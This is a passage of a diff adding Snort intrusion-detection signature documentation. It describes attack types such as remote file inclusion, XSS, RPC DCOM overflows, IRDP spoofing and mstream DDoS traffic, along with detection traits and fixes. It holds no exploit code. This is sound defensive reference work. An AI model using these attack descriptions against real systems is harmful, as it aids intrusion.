+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root by supplying
+their code in a file included from an external source by modifying the
+variable "root" in the editor.php script.
+
+--
+Affected Systems:
+	DCP-Portal 5.0.1
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path for the root variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <matthew.watchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/363.txt
+++ snort-2.8.5.2/doc/signatures/363.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+363
+
+--
+Summary:
+This event is generated when an external server sends an ICMP IRDP router advertisement message to an internal server. This may indicate an attempt to cause a denial of service by adding spoofed router information to an IRDP-enabled host's routing table.
+
+--
+Impact:
+Denial of service. 
+
+--
+Detailed Information:
+The ICMP Router Discovery Protocol (IRDP) is enabled by default on some Microsoft Windows and Sun Solaris operating systems. IRDP messages broadcast network routing information, and computers with IRDP enabled will store this routing information in their default routing tables. There is no way to determine whether the IRDP broadcast is authentic or spoofed, and some hosts will use the routes that appear in their local routing tables before using routes discovered via DHCP.
+
+An attacker can exploit this behavior by broadcasting IRDP messages with erroneous routing information to a target network. This will cause some IRDP-enabled hosts on that network to route traffic through the route advertised in the spoofed IRDP message. If the spoofed IRDP message contains nonexistent/inaccessible routing addresses, the target will not be able to connect to external networks, causing a denial of service. This may also facilitate man-in-the-middle attacks or interception of data by an attacker.
+
+Note that if an attacker is on the internal network, he/she can use valid routing addresses in the spoofed IRDP messages to passively monitor other machines or to perform "man-in-the-middle" attacks.
+
+--
+Affected Systems:
+Microsoft Windows 95
+Microsoft Windows 98
+Microsoft Windows 98SE
+Sun Solaris 2.6
+
+--
+Attack Scenarios:
+An attacker crafts spoofed IRDP broadcast messages and forwards them to a target network. If the messages are not filtered by the firewall and are broadcast to the internal network, some IRDP-enabled hosts begin routing traffic through the routes advertised in the IRDP broadcast message, which can cause a denial of service condition.
+
+--
+Ease of Attack:
+Simple. A proof-of-concept exists.
+
+--
+False Positives:
+This rule may generate an alert if legitimate ICMP traffic of type 9 is sent from an external server to an internal server.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+For vulnerable Windows computers, disable IRDP on the system (see http://support.microsoft.com/support/kb/articles/q216/1/41.asp).
+
+For vulnerable Solaris 2.6 computers, install the patch provided by Sun (see http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/patch-access).
+
+Use a packet filtering firewall to block ICMP type 9 packets from entering the internal network.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>.
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+Additional information from Anton Chuvakin <http://www.chuvakin.org>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0875
+
+Arachnids:
+http://www.whitehats.com/info/IDS174
+
+Bugtraq:
+http://www.securityfocus.com/bid/578
+
+RFC:
+http://www.cotse.com/CIE/RFC/Orig/rfc1256.txt
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000451.txt
+++ snort-2.8.5.2/doc/signatures/100000451.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000451
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "KAPhotoservice" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "cat" parameter in the "album.asp" script used 
+by the "KAPhotoservice" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using KAPhotoservice
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/247.txt
+++ snort-2.8.5.2/doc/signatures/247.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+247
+
+--
+Summary:
+This event is generated when an mstream DDoS client communicates with a handler.
+
+--
+Impact:
+Severe.  If the listed source IP is in your network, it may be an mstream client.  If the listed destination IP is in your network, it may be an mstream handler.
+
+--
+Detailed Information:
+The mstream DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. At the highest level, clients communicate with handlers to inform them to launch attacks.  A client may communicate with a handler using a TCP packet to destination port 12754 with a string of ">" in the payload.
+
+--
+Affected Systems:
+Any mstream compromised host.
+
+--
+Attack Scenarios:
+After a host becomes an mstream client, it will attempt to communicate with handlers. 
+
+--
+Ease of Attack:
+Simple. mstream code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+There are other known client-to-handler ports in addition to 12754.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3357.txt
+++ snort-2.8.5.2/doc/signatures/3357.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3357
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1574.txt
+++ snort-2.8.5.2/doc/signatures/1574.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1574
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3290.txt
+++ snort-2.8.5.2/doc/signatures/3290.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3290
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2518.txt
+++ snort-2.8.5.2/doc/signatures/2518.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2518
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of the Private
+Communications Transport (PCT) protocol.
+
+--
+Impact:
+Execution of arbitrary code. Unauthorized administrative access to an
+affected host.
+
+--
+Detailed Information:
+A vulnerability exists in the handling of PCT requests that
+can be manipulated to give an attacker the opportunity to execute
+arbitrary code of their choosing leading to a possible remote
+administrative compromize of an affected host.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003 and XP systems using PCT
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted PCT request to an affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the use of PCT
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3234.txt
+++ snort-2.8.5.2/doc/signatures/3234.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3234
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2282.txt
+++ snort-2.8.5.2/doc/signatures/2282.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2282
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application MediaWiki running on a server.
+
+--
+Impact:
+Possible execution of arbitrary code and unauthorized administrative
+access to the target system.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application MediaWiki . This application
+does not perform stringent checks when handling user input, this may 
+lead to the attacker being able to execute PHP code and include php files 
+of the attackers choosing.
+
+--
+Affected Systems:
+	MediaWiki MediaWiki-stable 20031107
+	MediaWiki MediaWiki-stable 20030829
+
+--
+Attack Scenarios:
+An attacker can exploit weaknesses to gain access as the administrator 
+by supplying input of their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2157.txt
+++ snort-2.8.5.2/doc/signatures/2157.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid: 2157
+
+
+--
+Summary:
+This event is generated when an attempt is made to access the administration interface of IISProtect on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access the administration interface of IISProtect on a host running Microsoft Internet Information Server (IIS).
+
+The attacker can gain administrator access to the web server running IISProtect without the need to authenticate.
+
+--
+Affected Systems:
+Any host using IISProtect.
+
+--
+Attack Scenarios:
+An attacker can gain control of the web server without the need to authenticate.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000448.txt
+++ snort-2.8.5.2/doc/signatures/100000448.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000448
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "OfficeFlow" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "sqlType" parameter in the "default.asp" script 
+used by the "OfficeFlow" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using OfficeFlow
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/623.txt
+++ snort-2.8.5.2/doc/signatures/623.txt
@@ -0,0 +1,67 @@
+Rule:
+--
+Sid:
+623
+--
+Summary:
+A tcp packet with none of it's control bits set was detected.
+
+--
+Impact:
+Information regarding firewall rulesets, open/closed ports, ACLs, and
+possibly even OS type is possible.  This technique can also be used to
+bypass certain firewalls or traffic filtering/shaping devices.
+
+--
+Detailed Information:
+A tcp packet with none of it's control bits (URG, ACK, PSH, RST, SYN,
+FIN) was detected.  Additionally, both the sequence number and
+acknowledgement number were set to 0.  An open port will generally not
+respond at all, whereas a closed port will generally respond with an
+ACK RST.  The particular response varies between operating systems,
+and is also governed by any filtering that may be done between the two
+hosts.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+As part of information gathering leading up to another (more directed)
+attack, an attacker may attempt to figure out what ports are
+open/closed on a remote machine.
+
+--
+Ease of Attack:
+Intermediate.  To initiate an attack of this type, an attacker either
+needs a tool that can send tcp packets with no control bits  set or
+the ability to craft their own packets.  The former is easy, the later
+requires a more advanced skillset.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Determine if this particular port would have responded as being open
+or closed.  If open, watch for more attacks on this particular service
+or from the remote machine that sent the packet.  If closed, simply
+watch for more traffic from this host.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Jon Hart <warchild@spoofed.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1967.txt
+++ snort-2.8.5.2/doc/signatures/1967.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1967
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2437.txt
+++ snort-2.8.5.2/doc/signatures/2437.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2437
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in RealOne Player.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+It may be possible for an attacker to execute code of their choosing by
+using a vulnerability in RealOne Player from RealNetworks. If a
+malicious URI is embedded in a SMIL presentation that points to script
+of the attackers choosing, the code may be executed with privileges
+assigned to the "My Computer" zone.
+
+--
+Affected Systems:
+	RealOne Player for Windows	
+
+--
+Attack Scenarios:
+An attacker could embed a URI of their choosing in a presentation and
+entice a user to click the link from within RealOne Player. The code
+referenced by this URI would then be executed on the client machine.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/880.txt
+++ snort-2.8.5.2/doc/signatures/880.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+880
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1404.txt
+++ snort-2.8.5.2/doc/signatures/1404.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1404
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3439.txt
+++ snort-2.8.5.2/doc/signatures/3439.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3439
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2660.txt
+++ snort-2.8.5.2/doc/signatures/2660.txt
@@ -0,0 +1,54 @@
+Rule: 
+
+--
+Sid: 
+2660
+
+-- 
+Summary: 
+This rule is intended to increase the accuracy of rules designed to
+generate events based on attempts to exploit implementations of Secure
+Socket Layer (SSL) version 2.
+
+-- 
+Impact: 
+None. This is a protocol decode rule that does not generate events.
+
+--
+Detailed Information:
+This is a protocol decode rule that does not generate events.
+
+--
+Affected Systems:
+NA
+
+--
+Attack Scenarios: 
+NA
+
+-- 
+Ease of Attack: 
+NA
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+NA
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000635.txt
+++ snort-2.8.5.2/doc/signatures/100000635.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000635
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "template_delete.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"template_delete.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2696.txt
+++ snort-2.8.5.2/doc/signatures/2696.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2696
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure is_master
+. This procedure is included in
+sys.dbms_repcat_utl.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
